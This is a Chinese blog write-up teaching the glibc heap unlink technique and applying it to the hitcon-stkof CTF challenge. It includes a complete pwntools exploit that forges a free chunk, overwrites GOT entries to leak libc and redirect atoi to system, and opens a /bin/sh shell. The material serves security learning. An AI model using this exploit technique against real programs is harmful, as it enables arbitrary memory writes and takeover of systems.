【PWN】记一次unlink学习


unlink作为一种堆攻击技巧,直接能实现的效果就是,将一块内存区域的内容改为其地址往前3个单位。在32位上,一个单位是4字节,在64位上是8字节。而且该地址必须指向伪造的freechunk


long long* ptr;ptr = &ptr - 3;


看到这,我当时就觉得这个技术怎么这么鸡肋。。


后来才发现,这个技巧在CTF里面是灰常强的。


CTF里面,经常会给你申请一些内存,然后这些内存的指针放在BSS段,通过这些指针可以对内存增删查改。比如说可以创建一些留言(malloc一堆字符串),然后指向这些留言的指针放在BSS段的一个数组里面。


 仔细想一想,是不是发现了什么不得了的东西???


 如果把存在BSS的指针改为其地址往前三个单位,那么我们就可以对BSS段增删查改了!!而使用这个功能把BSS段指针数组修改一下,我们就可以进行任意地址写,任意地址读了!!概括一下就说把堆地址改为了一个BSS段地址。
如何触发unlink?

接下来的部分涉及到ptmalloc的一些实现,网上教程一大把,就不展开写了,接下来得懂ptmalloc的chunk结构和free的执行过程。

free的大致执行过程:当释放一个smallchunk P,堆管理器会检查内存相邻的前后chunk是否为free状态,如果是,则对前后chunk执行unlink宏。一定要是smallchunk哦,如果是fastchunk会被丢进fastbin,就不执行unlink了。
一个chunk是不是freechunk决定于内存相邻的nextchunk的chunksize字段,如果该字段最低有效位为1(PREV_INUSE被设置chunk为freechunk。PREV_INUSE即下图chunksize后的P比特。
smallchunk的大小范围:
64bit:0x20 - 0x400 32bit:0x10 - 0x200
需要注意的是fastchunk的大小范围和smallchunk有重叠,所以需要申请大于最大fastchunk大小的chunk。

fastchunk的大小范围: 64bit:0x20- 0xc0
32bit:0x10 - 0x60
unlink宏:Set P->fd->bk = P->bkSet P->bk->fd = P->fd.由于P->fd->bk和P->bk->fd 都指向P,所以最终效果也就是Set P->bk->fd = P->fd.P->fd为3个size_t偏移,所以最终效果ptr = &ptr - 3;


攻击前提:存在溢出且可覆盖nextchunk的prevsize和size字段。
触发方法:
申请两个chunk,第一个chunk溢出和伪造freechunk用,溢出指的是覆盖第二个chunk的prevsize和size字段,第二个chunk需为smallchunk,释放第二个chunk的时候就会对第一个chunk执行unlink。
伪造freechunk方法:

1.    确定指向freechunk的指针地址&ptr

2.    伪造prevsize和size,prevsize随便写,size字段即该freechunk的字节数,并设置PREV__INUSE。

3.    设置freechunk的fd为ptr - 0x18 (64bit)

4.    设置freechunk的bk为ptr - 0x10 (64bit)

5.    填充直到nextchunk

6.    在构造完freechunk后,我们还得顺路溢出一下子。记得之前说过,确定一个chunk是否free,取决于nextchunk的PREV_INUSE。所以,我们得保证再溢出两个单位,一个单位存放freechunk的size,一个单位存放nextchunk的size,并设置PREV_INUSE。


Q&A

为何设置fd为ptr - 0x18,bk为ptr - 0x10?


因为堆管理器在释放的时候要对该chunk进行简单安全检查,确保该chunk的确在一个双向循环队列(unsortbin等)中。
P->fd->bk == P and P->bk->fd == P
我们这样设置就可以伪造一种该chunk在队列中的假象。当然在32bit下,fd为ptr - 0x0c,bk为ptr - 0x8。如果不想弄懂,记住就完了。。

CTF实战



hitcon-stkof(buuoj平台可访问)该题是典型的增删查改题。选项1,2,3,4分别对应增改删查。
增:申请一个用户给定的大小,并保存指针到s,s为BSS段的一个数组。


在改的部分存在溢出:


既然已经在增加的部分确定了malloc大小,该函数又允许输入任意长度字符串,即可溢出。
大致思路就有了,申请两个chunk,然后溢出第一个,释放第二个,执行unlink,最终bss段的s数组将被控制,我们可以任意地址写了。
这道题有一个问题就是,任意地址写啥?我们得先泄露一下libc的地址。这里我们看到有一个查功能,但是该功能无法输出s数组指向的内容。

但是strlen还是会被执行。我们可以修改strlen的GOT内容为puts的PLT。最终调用strlen就会调用puts,想输出我们想要的数据。
开始上代码:

先写一些辅助函数
p = process('./stkof', buffer_fill_size=0xffff)def create(length):    p.sendline("1")    p.sendline(str(length))    p.recvuntil('OK')

def edit(index,length,content): p.sendline("2") p.sendline(str(index)) p.sendline(str(length)) p.send(content) p.recvuntil('OK')
def delete(index): p.sendline("3") p.sendline(str(index)) p.recvuntil('OK')

def show(idx): p.sendline("4") p.sendline(str(idx))
然后创建三个堆块,确保第三个为smallchunk,为后续的unlink做准备。
create(0x50)create(0x50)create(0xc0)  # 申请0xc0字节,实际chunk的size为0xc0 + 0x10(添加了chunk头部)gdb.attach(p)


这就是我为啥申请三个堆块的原因,因为申请两个的话,这两个堆块在内存不相邻,导致前面的堆块溢出不到可控的后一个堆块。

可以看到该s数组为从1开始索引,我们想要伪造的chunk在0x602150。
可以想象unlink后该地址内容应该变为0x602138 。
下一步利用改功能伪造chunk,并溢出。
ptr = 0x602150  # 0x602130fakechunk = flat([    0x0,    0x50 | 1,    ptr - 0x18,    ptr - 0x10,    'A' * 0x30,    0x50,    0xd0 ])edit(2,len(fakechunk),fakechunk)

在执行完这一步后,由于nextchunk的PREV_INUSE被清空,该fakechunk将会直接显示位free状态。(两次parseheap地址不同因为我开启了ASLR)。


可以看到黄色的为我们伪造的chunk,红色就是被溢出的nextchunk。


我们再释放nextchunk,执行unlink。


可见地址已经被修改。(注意:从一个堆地址变为了BSS段地址


现在,我们如果使用改功能修改第三个chunk(0x602150),我们就可以直接修改地址0x602138后面的内容,而我们的s数组在0x602140!!这样,我们利用修改第三个chunk的功能,可以修改s数组第一个元素的内容,然后我们再修改第一个元素,就可以任意地址写了。


我们先修改strlen的GOT为puts的PLT。
str_len_got = elf.got['strlen']puts_plt = elf.plt['puts']payload2 = flat([    'A' * 0x10,    str_len_got])edit(2,len(payload2),payload2)payload3 = p64(puts_plt)edit(1,len(payload3),payload3)

执行完以后:


再把第一个元素改为malloc的GOT,看看malloc的地址,根据malloc的偏移确定libc的版本,最终修改atoi的got为system,调用atoi(’/bin/sh‘)即是调用system('/bin/sh');
最终完整exp:

from pwn import *from LibcSearcher import LibcSearcherfrom formatStringExploiter.FormatString import FormatString
os.chdir(os.path.dirname(os.path.abspath(__file__)))REMOTE = Falseif args["REMOTE"]: REMOTE = TrueHOST = "node3.buuoj.cn"PORT = 28623FILE = os.path.splitext("./"+__file__)[0]context.update(arch = 'amd64', os = 'linux', timeout = 100, log_level='debug' )elf = ELF(FILE)if REMOTE: p = remote(HOST, PORT,buffer_fill_size=0xffff)else: context.terminal = ['tmux', 'splitw', '-h'] p = process(FILE, buffer_fill_size=0xffff)
edit_addr = 0x4009E8create_addr = 0x400936delete_addr = 0x400B07break_points = [
]s = 0x602140# gdb.attach(p,"""# b *{0}# display /4xg {s}# """.format(edit_addr,s=s))# pause()

def create(length): p.sendline("1") p.sendline(str(length)) p.recvuntil('OK')

def edit(index,length,content): p.sendline("2") p.sendline(str(index)) p.sendline(str(length)) p.send(content) p.recvuntil('OK')
def delete(index): p.sendline("3") p.sendline(str(index)) p.recvuntil('OK')

def show(idx): p.sendline("4") p.sendline(str(idx))
create(0x50)create(0x50)create(0xc0)
ptr = 0x602150 # 0x602130fakechunk = flat([ 0x0, 0x50 | 1, ptr - 0x18, ptr - 0x10, 'A' * 0x30, 0x50, 0xd0 ])edit(2,len(fakechunk),fakechunk)
delete(3)

str_len_got = elf.got['strlen']puts_plt = elf.plt['puts']payload2 = flat([ 'A' * 0x10, str_len_got])edit(2,len(payload2),payload2)payload3 = p64(puts_plt)edit(1,len(payload3),payload3)

atoi_got = elf.got['malloc']payload4 = flat([ 'A' * 0x10, p64(atoi_got)])edit(2,len(payload4),payload4)# p.recvuntil("OK")show(1)recv = p.recvuntil('OK').strip().split('\n')[0]atoi = u64(recv.ljust(8,'\x00'))success("atoi @ %x" % atoi)
search = LibcSearcher('malloc',atoi)one = search.get_one_gadgets()[0]system,_ = search.get_system_and_bin_sh()
payload5 = flat([ 'A' *0x10, elf.got['atoi']])edit(2,len(payload5),payload5)edit(1,8,p64(system))# gdb.attach(p)p.sendline("/bin/sh")p.interactive()# p.interactive()



参考资料:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html




  被过滤了引号的SQL注入如何破?   从一道题入门JAVA反序列化漏洞   你不能不知道的的JWT相关漏洞   CTF学习资料和练习平台收集汇总


©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,752评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,100评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,244评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,099评论 1 286
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,210评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,307评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,346评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,133评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,546评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,849评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,019评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,702评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,331评论 3 319
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,030评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,260评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,871评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,898评论 2 351

推荐阅读更多精彩内容